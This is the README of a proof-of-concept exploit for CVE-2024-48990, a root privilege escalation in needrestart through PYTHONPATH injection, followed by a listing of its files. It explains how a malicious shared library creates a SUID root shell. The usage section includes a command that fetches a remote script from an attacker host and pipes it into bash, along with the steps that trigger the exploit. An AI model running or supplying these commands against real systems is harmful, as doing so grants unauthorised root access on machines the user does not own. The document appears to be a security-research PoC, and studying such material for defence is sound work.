Full exploit for needsrestart setuid root shell# CVE-2024-48990 Exploit
Local Privilege Escalation in needrestart < 3.8 via PYTHONPATH injection.
## How It Works
1. **needrestart runs as root** and scans all processes
2. Finds our Python process, reads `PYTHONPATH=/tmp/.m` from `/proc/[pid]/environ`
3. **Executes Python as root** with our malicious `PYTHONPATH`
4. Python's import loads `/tmp/.m/importlib/__init__.so` (our malicious library)
5. **Constructor in .so executes as root** before Python even starts
6. Creates SUID bash at `/tmp/rootbash`
7. Execute `/tmp/rootbash -p` for root shell
**Key Point:** needrestart trusts environment variables from unprivileged processes and uses them when executing interpreters as root.
## Usage
**Attacker:**
```bash
./compile.sh
python3 -m http.server 8000
```
**Target:**
```bash
curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py
```
The e.py process should hang and spawn root once the following is ran from a 2nd terminal:
```bash
sudo needsrestard
```
the first terminal will start a root shell
## Credits
Qualys Threat Research Unit - CVE-2024-48990
[4.0K] /data/pocs/056a489bb554094b746aff3dbe248df5da175ea1
├── [ 218] compile.sh
├── [ 244] exploit.c
├── [1.1K] README.md
├── [ 673] setup_exploit.sh
└── [1.1K] trigger.py
1 directory, 5 files